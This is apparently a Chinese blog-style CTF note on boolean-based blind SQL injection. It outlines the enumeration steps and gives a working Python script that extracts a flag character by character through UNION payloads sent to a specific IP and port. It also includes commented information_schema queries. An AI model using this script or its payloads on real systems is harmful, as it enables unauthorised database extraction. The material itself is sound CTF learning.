SQL布尔盲注

(其实我已经忘得差不多了orz)

思路

通过select是否返回
( 方法和时间盲注大同小异,一个是页面报错,一个是时间延时)

  1. 爆库名长度
  2. 爆库名
  3. 爆表名长度
  4. 爆表名
  5. 爆字段长度
  6. 爆字段

用python实现

import requests
#用这里的语句分别替换id中的内容即可爆库、表、字段(现在这段代码是最后一步爆flag了)
#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'crf'
#select 1,(select column_name from information_schema.columns where table_schema='ctf' and table_name='ctttf' limit 0,1),3 from ctttf where (select substring(column_name,"+str(i)+",1) from information_schema.columns where TABLE_SCHEMA = 'ctf' and table_name = 'ctttf' limit 0,1)='"+str(j)+"'--+"

url='http://120.78.142.81:49496/?id=-1\' union '
string=' '
for i in range(1,21):
    for j in range(32,127):
        id="select 1,(select flag from ctttf limit 0,1),3 from ctttf where (select ascii(substring(flag,"+str(i)+",1)) from information_schema.columns where TABLE_SCHEMA = 'ctf' and table_name = 'ctttf' limit 0,1)='"+str(j)+"'--+"
        #print(id)
        url_get=(url+id)
        print(url_get)
        r=requests.get(url_get)
        if "You are in" in r.text:
            string += chr(j)
            print(string)
            break
print(string)

没什么好说的?还是注意语法错误

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值